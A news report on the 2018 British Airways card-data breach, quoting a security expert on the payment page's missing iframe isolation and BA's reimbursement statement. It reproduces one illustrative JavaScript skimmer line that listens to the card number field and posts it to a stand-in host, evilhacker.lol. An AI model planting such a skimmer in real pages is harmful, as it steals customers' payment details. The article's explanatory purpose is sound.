Marcus Greenwood, who heads UBIO, said an analysis of the payment page of the airline showed that files were being loaded from seven external domains.
"These include files from analytics, customer service and A/B testing tools. These should not be present on Web pages processing customer card data," he wrote.
British Airways disclosed that the financial and personal details of 380,000 customers had been stolen from its site between 21 August and 5 September.
|
Greenwood pointed out that there was no <iframe> isolation of the payment card fields on the BA payment page. "The card number field resides in the top frame as you can see below."
"This is bad because it is trivial for any JavaScript file loaded to steal the card details and post to another 3rd party domain. This is called XSS," he added, posting code to illustrate what he was saying:
document.querySelector(‘#CardNumber1’).addEventListener(‘change’, (e) => { fetch(‘https://evilhacker.lol/card-details.php’, { method: ‘post’, body: e.target.value });
Greenwood said: "If the card details were collected in a third party domain <iframe>, it would prevent this basic XSS attack vector because JavaScript files loaded in the main window are not able to access the contents of a third party domain<iframe>.
"Given customer details were only stolen from users on the site between 21 August and 5 September, it’s likely that the hack was an XSS exploit rather than a database hack or similar."
He said the credit card firms like Visa and MasterCard had schemes for PCI compliance which set out the rules for collecting and storing card information.
These had to be observed by "any company that directly deals with card data, such as BA and go into considerable detail around encryption, physical and logical separation of infrastructure dealing with card data, staff access to PCI infrastructure etc etc … and of course vulnerability scanning including XSS".
"For reasons which are quite clear, XSS vulnerabilities in your PCI infrastructure mean an automatic failure. I think it is quite clear that whatever BA have done to 'fix the issue' is insufficient to protect the security of cardholder data," Greenwood added.
Contacted for comment, a BA spokesperson said a police investigation was underway into the breach and the company did not wish to compromise it.
"No British Airways customer will be left out of pocket as a result of this criminal cyber attack on its website, ba.com, and the airline's mobile app," the spokesperson said.
"The airline has guaranteed that financial losses suffered by customers directly because of the theft of this data from British Airways will be reimbursed, and is recommending that customers contact their bank or card provider if they made a booking or change to their booking between 22:58 BST August 21 2018 ((7.58am AEST on 22 August) and 21:45 BST September 5 2018 (6.45am AEST 6 September).
"We understand that this incident will cause concern and inconvenience. We have contacted all affected customers to say sorry, and we will continue to update them in the coming days. British Airways will not be contacting any customers asking for payment card details, any such requests should be reported to the police and relevant authorities.
"British Airways continues to investigate with the police and cyber specialists, and has reported the data theft to the Information Commissioner."
Graphics: courtesy Marcus Greenwood